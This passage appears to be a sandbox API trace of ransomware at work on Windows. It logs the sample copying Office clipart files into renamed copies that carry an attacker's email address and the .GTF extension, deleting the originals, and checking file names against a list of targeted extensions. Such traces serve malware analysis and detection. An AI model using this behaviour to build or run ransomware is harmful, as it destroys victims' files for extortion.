	[0183.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0183.989] GetLastError () returned 0x0
	[0183.989] ReadFile (in: hFile=0x2a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x843a, lpOverlapped=0x0) returned 1
	[0183.991] WriteFile (in: hFile=0x2a8, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x8440, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x8440, lpOverlapped=0x0) returned 1
	[0183.993] ReadFile (in: hFile=0x2a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.993] WriteFile (in: hFile=0x2a8, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.993] SetEndOfFile (hFile=0x2a8) returned 1
	[0183.993] CloseHandle (hObject=0x2a8) returned 1
	[0183.993] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.993] SetEndOfFile (hFile=0x2a4) returned 1
	[0183.996] CloseHandle (hObject=0x2a4) returned 1
	[0183.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf")) returned 1
	[0183.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68
	[0183.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68
	[0183.997] lstrlenW (lpString=".doc") returned 4
	[0183.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.997] lstrlenW (lpString=".docx") returned 5
	[0183.997] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0183.997] lstrlenW (lpString=".pdf") returned 4
	[0183.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.998] lstrlenW (lpString=".xls") returned 4
	[0183.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.998] lstrlenW (lpString=".xlsx") returned 5
	[0183.998] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0183.998] lstrlenW (lpString=".ppt") returned 4
	[0183.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68
	[0183.998] lstrlenW (lpString=".zip") returned 4
	[0183.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.998] lstrlenW (lpString=".rar") returned 4
	[0183.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.998] lstrlenW (lpString=".bz2") returned 4
	[0183.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.998] lstrlenW (lpString=".7z") returned 3
	[0183.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68
	[0183.998] lstrlenW (lpString=".dbf") returned 4
	[0183.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68
	[0183.998] lstrlenW (lpString=".1cd") returned 4
	[0183.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68
	[0183.998] lstrlenW (lpString=".jpg") returned 4
	[0183.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68
	[0183.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68
	[0183.998] lstrlenW (lpString=".doc") returned 4
	[0183.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.998] lstrlenW (lpString=".docx") returned 5
	[0183.998] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0183.998] lstrlenW (lpString=".pdf") returned 4
	[0183.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.998] lstrlenW (lpString=".xls") returned 4
	[0183.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.999] lstrlenW (lpString=".xlsx") returned 5
	[0183.999] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0183.999] lstrlenW (lpString=".ppt") returned 4
	[0183.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68
	[0183.999] lstrlenW (lpString=".zip") returned 4
	[0183.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.999] lstrlenW (lpString=".rar") returned 4
	[0183.999] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.999] lstrlenW (lpString=".bz2") returned 4
	[0183.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.999] lstrlenW (lpString=".7z") returned 3
	[0183.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68
	[0183.999] lstrlenW (lpString=".dbf") returned 4
	[0183.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68
	[0183.999] lstrlenW (lpString=".1cd") returned 4
	[0183.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68
	[0183.999] lstrlenW (lpString=".jpg") returned 4
	[0183.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.999] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0183.999] lstrlenW (lpString="J0186364.WMF") returned 12
	[0184.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0184.001] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=18212) returned 1
	[0184.001] CloseHandle (hObject=0x2a4) returned 1
	[0184.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf")) returned 0x220
	[0184.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0184.001] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.001] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0184.002] GetLastError () returned 0x0
	[0184.002] ReadFile (in: hFile=0x2a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x4724, lpOverlapped=0x0) returned 1
	[0184.004] WriteFile (in: hFile=0x2a8, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x4730, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x4730, lpOverlapped=0x0) returned 1
	[0184.005] ReadFile (in: hFile=0x2a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.005] WriteFile (in: hFile=0x2a8, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.006] SetEndOfFile (hFile=0x2a8) returned 1
	[0184.006] CloseHandle (hObject=0x2a8) returned 1
	[0184.006] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.006] SetEndOfFile (hFile=0x2a4) returned 1
	[0184.008] CloseHandle (hObject=0x2a4) returned 1
	[0184.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf")) returned 1
	[0184.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68
	[0184.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68
	[0184.009] lstrlenW (lpString=".doc") returned 4
	[0184.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.010] lstrlenW (lpString=".docx") returned 5
	[0184.010] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0184.010] lstrlenW (lpString=".pdf") returned 4
	[0184.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.010] lstrlenW (lpString=".xls") returned 4
	[0184.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.010] lstrlenW (lpString=".xlsx") returned 5
	[0184.010] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0184.010] lstrlenW (lpString=".ppt") returned 4
	[0184.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68
	[0184.010] lstrlenW (lpString=".zip") returned 4
	[0184.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.010] lstrlenW (lpString=".rar") returned 4
	[0184.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.010] lstrlenW (lpString=".bz2") returned 4
	[0184.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.010] lstrlenW (lpString=".7z") returned 3
	[0184.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68
	[0184.010] lstrlenW (lpString=".dbf") returned 4
	[0184.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68
	[0184.010] lstrlenW (lpString=".1cd") returned 4
	[0184.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68
	[0184.010] lstrlenW (lpString=".jpg") returned 4
	[0184.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68
	[0184.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68
	[0184.010] lstrlenW (lpString=".doc") returned 4
	[0184.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.010] lstrlenW (lpString=".docx") returned 5
	[0184.010] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0184.011] lstrlenW (lpString=".pdf") returned 4
	[0184.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.011] lstrlenW (lpString=".xls") returned 4
	[0184.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.011] lstrlenW (lpString=".xlsx") returned 5
	[0184.011] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0184.011] lstrlenW (lpString=".ppt") returned 4
	[0184.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68
	[0184.011] lstrlenW (lpString=".zip") returned 4
	[0184.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.011] lstrlenW (lpString=".rar") returned 4
	[0184.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.011] lstrlenW (lpString=".bz2") returned 4
	[0184.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.011] lstrlenW (lpString=".7z") returned 3
	[0184.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68
	[0184.011] lstrlenW (lpString=".dbf") returned 4
	[0184.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68
	[0184.011] lstrlenW (lpString=".1cd") returned 4
	[0184.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68
	[0184.011] lstrlenW (lpString=".jpg") returned 4
	[0184.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.011] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.011] lstrlenW (lpString="J0187647.WMF") returned 12
	[0184.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0184.012] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=6596) returned 1
	[0184.012] CloseHandle (hObject=0x2a4) returned 1
	[0184.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf")) returned 0x220
	[0184.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0184.013] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.013] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0184.013] GetLastError () returned 0x0
	[0184.014] ReadFile (in: hFile=0x2a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x19c4, lpOverlapped=0x0) returned 1
	[0184.015] WriteFile (in: hFile=0x2a8, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x19d0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x19d0, lpOverlapped=0x0) returned 1
	[0184.016] ReadFile (in: hFile=0x2a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.016] WriteFile (in: hFile=0x2a8, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.016] SetEndOfFile (hFile=0x2a8) returned 1
	[0184.017] CloseHandle (hObject=0x2a8) returned 1
	[0184.017] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.017] SetEndOfFile (hFile=0x2a4) returned 1
	[0184.020] CloseHandle (hObject=0x2a4) returned 1
	[0184.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf")) returned 1
	[0184.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68
	[0184.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68
	[0184.209] lstrlenW (lpString=".doc") returned 4
	[0184.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.209] lstrlenW (lpString=".docx") returned 5
	[0184.210] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0184.210] lstrlenW (lpString=".pdf") returned 4
	[0184.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.210] lstrlenW (lpString=".xls") returned 4
	[0184.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.210] lstrlenW (lpString=".xlsx") returned 5
	[0184.210] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0184.210] lstrlenW (lpString=".ppt") returned 4
	[0184.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68
	[0184.210] lstrlenW (lpString=".zip") returned 4
	[0184.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.210] lstrlenW (lpString=".rar") returned 4
	[0184.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.210] lstrlenW (lpString=".bz2") returned 4
	[0184.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.210] lstrlenW (lpString=".7z") returned 3
	[0184.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68
	[0184.210] lstrlenW (lpString=".dbf") returned 4
	[0184.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68
	[0184.210] lstrlenW (lpString=".1cd") returned 4
	[0184.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68
	[0184.210] lstrlenW (lpString=".jpg") returned 4
	[0184.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68
	[0184.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68
	[0184.211] lstrlenW (lpString=".doc") returned 4
	[0184.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.211] lstrlenW (lpString=".docx") returned 5
	[0184.211] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0184.211] lstrlenW (lpString=".pdf") returned 4
	[0184.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.211] lstrlenW (lpString=".xls") returned 4
	[0184.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.211] lstrlenW (lpString=".xlsx") returned 5
	[0184.211] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0184.211] lstrlenW (lpString=".ppt") returned 4
	[0184.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68
	[0184.211] lstrlenW (lpString=".zip") returned 4
	[0184.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.211] lstrlenW (lpString=".rar") returned 4
	[0184.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.211] lstrlenW (lpString=".bz2") returned 4
	[0184.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.211] lstrlenW (lpString=".7z") returned 3
	[0184.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68
	[0184.211] lstrlenW (lpString=".dbf") returned 4
	[0184.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68
	[0184.211] lstrlenW (lpString=".1cd") returned 4
	[0184.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68
	[0184.211] lstrlenW (lpString=".jpg") returned 4
	[0184.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.211] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.211] lstrlenW (lpString="J0187835.WMF") returned 12
	[0184.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.212] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=9344) returned 1
	[0184.212] CloseHandle (hObject=0x540) returned 1
	[0184.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf")) returned 0x220
	[0184.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.213] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
